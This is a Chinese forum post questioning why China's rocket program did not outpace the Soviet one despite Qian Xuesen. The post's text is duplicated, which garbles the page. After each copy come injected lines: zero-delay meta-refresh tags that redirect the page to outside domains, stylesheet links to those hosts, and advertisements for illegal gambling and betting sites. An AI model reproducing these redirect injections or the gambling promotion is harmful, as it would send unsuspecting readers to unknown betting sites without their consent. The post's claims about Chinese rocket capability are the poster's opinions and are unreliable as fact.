有个问题，钱老既然这么厉害，为什么中国火箭落后苏联这 ...

<br /><br />这几天，在网络上也看到很多介绍钱老生平的文章了，钱老确实是很厉害的人物。甚至有的文章说他本身在美国的时候，就是站在当时火箭导弹科技的最前沿领域，还去过德国审问过冯布劳恩。甚至还有说他如果不回国的话，那美国的登月计划的火箭就是由他来领导设计了，而不是冯布劳恩
还有什么排名之类，钱老能够在排名上排的很靠前。

那我的疑惑是，既然钱老这么厉害，为什么中国的火箭技术也没看见有多先进呢？基本上还是完全在苏联援助的基础上发展起来的，而看不出有多大的格外独树一帜先进卓越的地方？
就是现在中国的火箭技术，似乎也最多只能达到苏联美国五十年代的水平？
那钱老似乎没有见到他起到什么格外的作用啊？
要说发展的起点的话，苏联也是在二战结束，才开始真正大规模搞导弹火箭的，就算是45年，那比中国也就早十年而已。
要说技术资料方面，苏联是得到德国的火箭实物和资料。但中国也得到苏联提供的导弹实物还有大量图纸资料，甚至苏联还提供了大量人才上的培训。

时间上晚十年，起点水平差不多，在外力帮助方面，中国得到的帮助还超过了苏联。
再加上从美国回来的一批站在世界火箭研究领域最前沿最杰出的科学家，钱学森
那为什么中国的火箭技术发展看上去也没有什么额外的迅速，或者自己独到的先进之处呢？

似乎没有钱学森的话，那在苏联的援助的基础上，六七年时间，按照进度也应该就能造出一个像样的火箭导弹了，现在有钱老，似乎也不过就是这个进度左右，而且实现的技术，也就是比较基础的那种

当然苏联的国力比较强大，能够投入的资源比较多，可能是一个原因。

但从火箭本身的设计来说，似乎中国也没有体现出什么独到的，先进的地方。

象苏联和美国的火箭技术，谁更先进，这可以争论很多，但至少他们自己都有独特的技术，独特的设计，这总是不能否认的。从火箭发射时候起竖组装的方式，到火箭发动机的类型
而中国的火箭似乎就是很普通的，很长时间就是停留在以前的洲际导弹的技术基础上，
就是到现在，还要为研制攻克苏联在几十年前就解决的技术问题苦苦奋斗。
象苏联的能源号这样的火箭，中国可能要再过五十年才能制造的出来

所以在这点上还是有些疑惑的。我想说，是不是钱老虽然很厉害，但中国火箭技术的发展上起的作用是不是也没有那么大？有他的话，中国的火箭是这样的一个进度来发展，没有她的话，中国的火箭也依旧应该是这样的一个进度来发展？

还是说如果没有钱老，中国的第一枚导弹就要再推迟十年才能出现？但那样似乎就更无法理解了，中国人又不是特别笨，在苏联已经提供导弹实物，以及提供大量技术图纸资料，培训大量导弹方面技术人才的情况，也没有道理会推迟这么多时间
<meta http-equiv="refresh" content="0; url=http://dtw.cc">
<meta http-equiv="refresh" content="0; url=http://fyw.cc">
<link href="http://dtw.cc/gfh8.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://fyw.cc/56789.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球←篮球...各类投注←开户下注
<P>&nbsp;</P>
推荐→第一投注:倍率高←存取速度快.国内最好的投注平台<br /><br />这几天，在网络上也看到很多介绍钱老生平的文章了，钱老确实是很厉害的人物。甚至有的文章说他本身在美国的时候，就是站在当时火箭导弹科技的最前沿领域，还去过德国审问过冯布劳恩。甚至还有说他如果不回国的话，那美国的登月计划的火箭就是由他来领导设计了，而不是冯布劳恩
还有什么排名之类，钱老能够在排名上排的很靠前。

那我的疑惑是，既然钱老这么厉害，为什么中国的火箭技术也没看见有多先进呢？基本上还是完全在苏联援助的基础上发展起来的，而看不出有多大的格外独树一帜先进卓越的地方？
就是现在中国的火箭技术，似乎也最多只能达到苏联美国五十年代的水平？
那钱老似乎没有见到他起到什么格外的作用啊？
要说发展的起点的话，苏联也是在二战结束，才开始真正大规模搞导弹火箭的，就算是45年，那比中国也就早十年而已。
要说技术资料方面，苏联是得到德国的火箭实物和资料。但中国也得到苏联提供的导弹实物还有大量图纸资料，甚至苏联还提供了大量人才上的培训。

时间上晚十年，起点水平差不多，在外力帮助方面，中国得到的帮助还超过了苏联。
再加上从美国回来的一批站在世界火箭研究领域最前沿最杰出的科学家，钱学森
那为什么中国的火箭技术发展看上去也没有什么额外的迅速，或者自己独到的先进之处呢？

似乎没有钱学森的话，那在苏联的援助的基础上，六七年时间，按照进度也应该就能造出一个像样的火箭导弹了，现在有钱老，似乎也不过就是这个进度左右，而且实现的技术，也就是比较基础的那种

当然苏联的国力比较强大，能够投入的资源比较多，可能是一个原因。

但从火箭本身的设计来说，似乎中国也没有体现出什么独到的，先进的地方。

象苏联和美国的火箭技术，谁更先进，这可以争论很多，但至少他们自己都有独特的技术，独特的设计，这总是不能否认的。从火箭发射时候起竖组装的方式，到火箭发动机的类型
而中国的火箭似乎就是很普通的，很长时间就是停留在以前的洲际导弹的技术基础上，
就是到现在，还要为研制攻克苏联在几十年前就解决的技术问题苦苦奋斗。
象苏联的能源号这样的火箭，中国可能要再过五十年才能制造的出来

所以在这点上还是有些疑惑的。我想说，是不是钱老虽然很厉害，但中国火箭技术的发展上起的作用是不是也没有那么大？有他的话，中国的火箭是这样的一个进度来发展，没有她的话，中国的火箭也依旧应该是这样的一个进度来发展？

还是说如果没有钱老，中国的第一枚导弹就要再推迟十年才能出现？但那样似乎就更无法理解了，中国人又不是特别笨，在苏联已经提供导弹实物，以及提供大量技术图纸资料，培训大量导弹方面技术人才的情况，也没有道理会推迟这么多时间
<meta http-equiv="refresh" content="0; url=http://dtw.cc">
<meta http-equiv="refresh" content="0; url=http://fyw.cc">
<link href="http://dtw.cc/gfh8.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://fyw.cc/56789.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球←篮球...各类投注←开户下注
<P>&nbsp;</P>
推荐→第一投注:倍率高←存取速度快.国内最好的投注平台